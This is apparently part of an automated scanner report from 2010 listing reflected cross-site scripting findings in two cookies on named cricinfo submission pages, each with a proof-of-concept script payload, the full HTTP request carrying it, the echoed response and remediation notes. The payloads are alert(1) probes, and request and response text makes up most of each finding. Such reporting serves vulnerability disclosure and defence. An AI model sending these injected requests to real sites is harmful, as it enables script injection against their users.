Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:13:09 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 82875 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us69125'-alert(1)-'2c7a734ccab, cluster: usa, ...[SNIP]... <script language="javascript" type="text/javascript"> ord=Math.random()*10000000000000000;
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload b19ab--><script>alert(1)</script>f7e4260af65 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=usb19ab--><script>alert(1)</script>f7e4260af65;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:13:12 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 82907 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: usb19ab--><script>alert(1)</script>f7e4260af65, cluster: usa, created: 2010-11-07 03:13:12 --> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3dc2"><script>alert(1)</script>9960f224455 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usaf3dc2"><script>alert(1)</script>9960f224455; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:02 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148607 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usaf3dc2"><script>alert(1)</scrip ...[SNIP]... <a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usaf3dc2"><script>alert(1)</script>9960f224455;kvpt=index;kvsite=cricinfomembermanagementservice;kvbrand=member_mgmt;tile=1;sz=728x90;ord=123456789?" target="_blank"> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into an HTML comment. The payload 8b612--><script>alert(1)</script>1e44d058545 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa8b612--><script>alert(1)</script>1e44d058545; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:11 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148612 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa8b612--><script>alert(1)</script>1e44d058545, created: 2010-11-07 03:17:11 --> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e37c2'-alert(1)-'56441d147b1 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usae37c2'-alert(1)-'56441d147b1; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:07 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148532 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usae37c2'-alert(1)-'56441d147b1, ...[SNIP]... <script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usae37c2'-alert(1)-'56441d147b1;kvpt=index;kvsite=cricinfomembermanagementservice;kvbrand=member_mgmt;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript"> ...[SNIP]...
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload 6c213--><script>alert(1)</script>88efb11a633 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us6c213--><script>alert(1)</script>88efb11a633;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:56 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148480 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us6c213--><script>alert(1)</script>88efb11a633, cluster: usa, created: 2010-11-07 03:17:56 --> ...[SNIP]...
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6de31'-alert(1)-'329e617c586 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us6de31'-alert(1)-'329e617c586;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:53 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148448 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us6de31'-alert(1)-'329e617c586, cluster: usa, ...[SNIP]... <script language="javascript" type="text/javascript"> ord=Math.random()*10000000000000000;
The value of the Q_cricinfo_cluster cookie is copied into an HTML comment. The payload e4557--><script>alert(1)</script>390d9742830 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usae4557--><script>alert(1)</script>390d9742830; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:16:53 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 11716 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usae4557--><script>alert(1)</script>390d9742830, created: 2010-11-07 03:16:53 --> ...[SNIP]...
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload f68f3--><script>alert(1)</script>2111aaab520 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=usf68f3--><script>alert(1)</script>2111aaab520;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:09 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 11716 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: usf68f3--><script>alert(1)</script>2111aaab520, cluster: usa, created: 2010-11-07 03:17:09 --> ...[SNIP]...
Report generated by XSS.CX at Sat Nov 06 22:20:05 CDT 2010.